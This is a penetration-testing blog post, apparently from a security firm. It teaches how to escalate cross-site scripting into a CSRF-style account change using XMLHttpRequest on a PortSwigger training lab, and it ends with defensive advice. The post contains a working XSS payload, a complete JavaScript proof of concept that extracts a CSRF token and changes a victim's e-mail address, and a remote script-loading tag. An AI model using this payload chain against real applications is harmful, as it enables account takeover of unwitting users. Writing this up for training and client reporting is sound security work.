Services
Services
SOC & Attestations
SOC & Attestations
Payment Card Assessments
Payment Card Assessments
ISO Certifications
ISO Certifications
Privacy Assessments
Privacy Assessments
Federal Assessments
Federal Assessments
Healthcare Assessments
Healthcare Assessments
Penetration Testing
Penetration Testing
Cybersecurity Assessments
Cybersecurity Assessments
Crypto and Digital Trust
Crypto and Digital Trust
Schellman Training
Schellman Training
ESG & Sustainability
ESG & Sustainability
AI Services
AI Services
Industry Solutions
Industry Solutions
Cloud Computing & Data Centers
Cloud Computing & Data Centers
Financial Services & Fintech
Financial Services & Fintech
Healthcare
Healthcare
Payment Card Processing
Payment Card Processing
US Government
US Government
Higher Education & Research Laboratories
Higher Education & Research Laboratories
About Us
About Us
Leadership Team
Leadership Team
Careers
Careers
Corporate Social Responsibility
Corporate Social Responsibility
Strategic Partnerships
Strategic Partnerships

Demonstrating Impact with Cross-Site Scripting: Beyond the Alert Box

Penetration Testing

When conducting a web application penetration test, cross-site scripting (XSS) is one of the most common vulnerabilities identified by testers—it stems from an application’s lack of sanitization when certain characters are rendered from user-controlled input. 

Being so common, there are plenty of resources out there covering how to identify and test for XSS, including Port Swigger’s XSS cheat sheet, which makes it convenient to copy and paste various tags and events into an intruder list and quickly get an idea on what is being filtered. 

However, all these payloads focus on triggering an alert box. But what can an attacker actually do with XSS? 

Historically, many would exfiltrate session cookies. But these days, most modern applications have the “HttpOnly” flag set on cookies important for maintaining a user’s session, which prevents the cookie from being accessed through client-side scripts, such as XSS. 

That’s why, in this post, we’re going to focus on an alternate attack technique that leverages the XHR (XMLHttpRequest) API. This is a JavaScript API that can be used within an XSS payload to perform a Cross-site request forgery (CSRF) type attack. 

To help demonstrate an example attack, we’re going to use the Exploiting XSS to perform CSRF challenge from PortSwigger’s Web Security Academy lab, so if you’d prefer to avoid spoilers, stop reading now. But if you’re still interested in learning how this type of attack works, why it’s important to demonstrate its potential impact, and how to protect against it, let’s get started. 

What is a CSRF Attack?

Some groundwork first: according to OWASP, CSRF attacks force a user to execute unwanted actions on a web application in which they’re currently authenticated—that might mean singular tasks, like transferring funds, or it might mean compromising the entire application. 

Traditional CSRF attacks launched from an external domain are becoming less common with the adoption of the SameSite cookie flag that sets restrictions on how cookies are sent during cross-domain requests. By default, most browsers now set this attribute to “Lax,” which prevents cookies being sent during POST requests that come from a different domain. If the SameSite flag is set to “Strict,” both POST and GET requests are prevented from containing the cookie. 

But as previously mentioned, we can still perform this type of attack by defining XHR requests within an XSS payload—this method works because the requests are first loaded through an external script and then sent from the local context of the user’s browser. So when a user visits vulnerable page of the application, requests that are pre-defined with XHR will automatically be sent without their knowledge. 

Simulating a CSRF Attack with XSS 

Let’s illustrate how you can perform this and demonstrate the potential consequences. Say you’ve identified a working XSS payload, something like:

<img src=x onerror=alert(document.domain)>

Great, you have an alert prompt demonstrating the execution of JavaScript. Your next step is to understand the application you’re testing and figure out a good action to take as another user—maybe you’ll modify the attacker’s role to include admin privileges, or change the admin’s e-mail address, followed up by a password reset to perform an account takeover. 

Once you’ve identified what actions you want the JavaScript to perform, you can start building out an XHR request. In this example, our request will update the user’s e-mail address. 

First, initiate the XHR request and save it into a variable called "xhr":

var xhr = new XMLHttpRequest();

Next, extract the CSRF token, which most modern applications will have implemented. First identify how the application uses CSRF tokens, then work on extracting it. (It’s common to find CSRF tokens stored in a browser’s Local Storage. Also, be on the lookout for JSON Web Tokens (JWT) and the like, as they’re also often stored in Local Storage.)

You can extract data—like a CSRF token—from Local Storage using "localStorage.getItem" followed by the name of the item:

ctoken = localStorage.getItem('CsrfToken');

However, a lot of applications will contain CSRF tokens in the HTTP response to various endpoints. If you don't see anything in Local Storage, review application responses and look for keywords like "csrf" and "token."

Once identified, we can use XHR to perform an HTTP GET request to that page:

xhr.open("GET", "/my-account", false);
// Use XHR to initiate a GET request to the my-account page
xhr.send(null); // Send the request

Example HTTP response that we will be targeting:

1-3

Now that you have the response to the “my-account” page, you can create a new variable—"ctoken"—and set the value to the HTTP response we just made:

var ctoken = xhr.responseText;

Create a new variable "pos" and set the value using indexOf. The following example searches for the first instance of name=”csrf” in the HTTP response:

var pos = ctoken.indexOf('name="csrf"');

Next, use substring to extract data between two positions, which will take a little bit of manual testing to get right. You can also opt to use regex here to extract the token. Fortunately, we can easily find the right positioning using the browser’s developer console.

For example, input the following into the developer console:

var xhr = new XMLHttpRequest();
xhr.open("GET", "/my-account", false);
xhr.send(null);
var ctoken = xhr.responseText;
var pos = ctoken.indexOf('name="csrf"');

Then, look for the correct positioning. You just want the raw value of the CSRF token and nothing else. Update the numerical values until you have the full token:

ctoken.substring(pos,ctoken.length).substr(19,32);
2-3

Once you can confirm that ctoken is set to the complete CSRF token value, the hard part is over. Set “ctoken” to the raw value of the CSRF token:

ctoken = ctoken.substring(pos,ctoken.length).substr(19,32);

Now you need to format the request you want to make. If you have access to the request, which is often the case if you have access to multiple accounts across different roles to test with, you can use Burp Suite to generate the rest for you.

Capture the request you want to make with Burp and then access the following:

Right Click >> Engagement Tools >> Generate CSRF PoC.

Here’s an example request taken from the Port Swigger Academy's XSS / CSRF lab mentioned earlier:

3-2

Click "Options" and select "Cross-domain XHR.” Then, click “Regenerate.”

4-2

The request is now XHR formatted:

5-2

You can now take the auto generated XHR request from Burp Suite and combine it with the work you did earlier to come up with the following PoC:

// Retrieve HTTP response for the my-account page
var xhr = new XMLHttpRequest();
xhr.open("GET", "/my-account", false);
xhr.send(null);

// Extract CSRF Token
var ctoken = xhr.responseText;
var pos = ctoken.indexOf('name="csrf"');
ctoken = ctoken.substring(pos,ctoken.length).substr(19,32);

// Update e-mail address
xhr.open("POST", "/my-account\/change-email", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
var body = "email=csrfdemo%40schellman.com&csrf=" + ctoken;
xhr.send(body);

Here, the CSRF token is sent as part of the POST body; however, some applications expect this to be sent as an HTTP header. If that's the case, you can send it along with the request using the following—just update the "CSRF-Token" header name with what your application is using:

xhr.setRequestHeader("CSRF-Token", ctoken);

At this point, you would typically host the JavaScript on a server you control, then call that endpoint through a smaller payload. However, due to the size, it's not always feasible to inject the full payload directly into the application. As a simple example:

<script src="//demo.schellman.com/csrf.js"></script>

With the payload in place, the requests are kicked off without the user’s knowledge as soon as they visit the affected page. This is only apparent if you’re proxying the traffic or reviewing the Network tab in your browser:

  1. External script is loaded
  2. XHR requests are kicked off
  3. POST data including the valid CSRF token

6-1

Using XHR, an attacker can make the victim perform any action within the application (granted, they must also have the proper access).

You can add a lot of value to your Penetration Test reports when you take the extra steps to properly demonstrate this impact to a client. 

How to Protect Against XSS Attacks

You can also encourage your clients to take steps in protecting applications against this kind of threat, including:

  • Validating and sanitizing user-controlled input.
    • Use HTML entity counterparts of special characters (eg: <>’ “();%+) rather than the literal values.
  • Enforcing a strict Content-Security Policy (CSP).
    • This can be used to help prevent applications from loading scripts from unexpected sources.
  • Confirming user credentials before changes to an account are allowed.
    • E.g., make the user’s current password a requirement to updating account details, such as their e-mail and password. 

Want to Learn More?

Given the potential impact of XSS, we feel it’s important to demonstrate to clients exactly what can happen should they fall victim. The impact is going to directly tie-in with in determining the overall risk the finding poses to the application. Now that you understand how XHR can be used with XSS, you’ll be able to educate your clients on how it works and how they can better defend against such an attack.

Here at Schellman, our team is provided ample time to explore alternative concepts like these that can help develop individual skill while we also maintain our delivery of the highest quality of penetration test services. To get even more insight on other facets in the industry, read our other write-ups that can help you expand your expertise:

And, if you’re interested in joining the team yourself, we’re always looking for new faces and perspectives, so check out our careers page for details on our current opportunities.

About Cory Rey

Cory Rey is a Lead Penetration Tester with Schellman where he is primarily focused on performing penetration tests for leading cloud service providers. With expertise in Application Security, he frequently identifies vulnerabilities overlooked by organizations. Prior to joining Schellman, Cory worked as a System Administrator specializing in Linux based Web Hosting environments.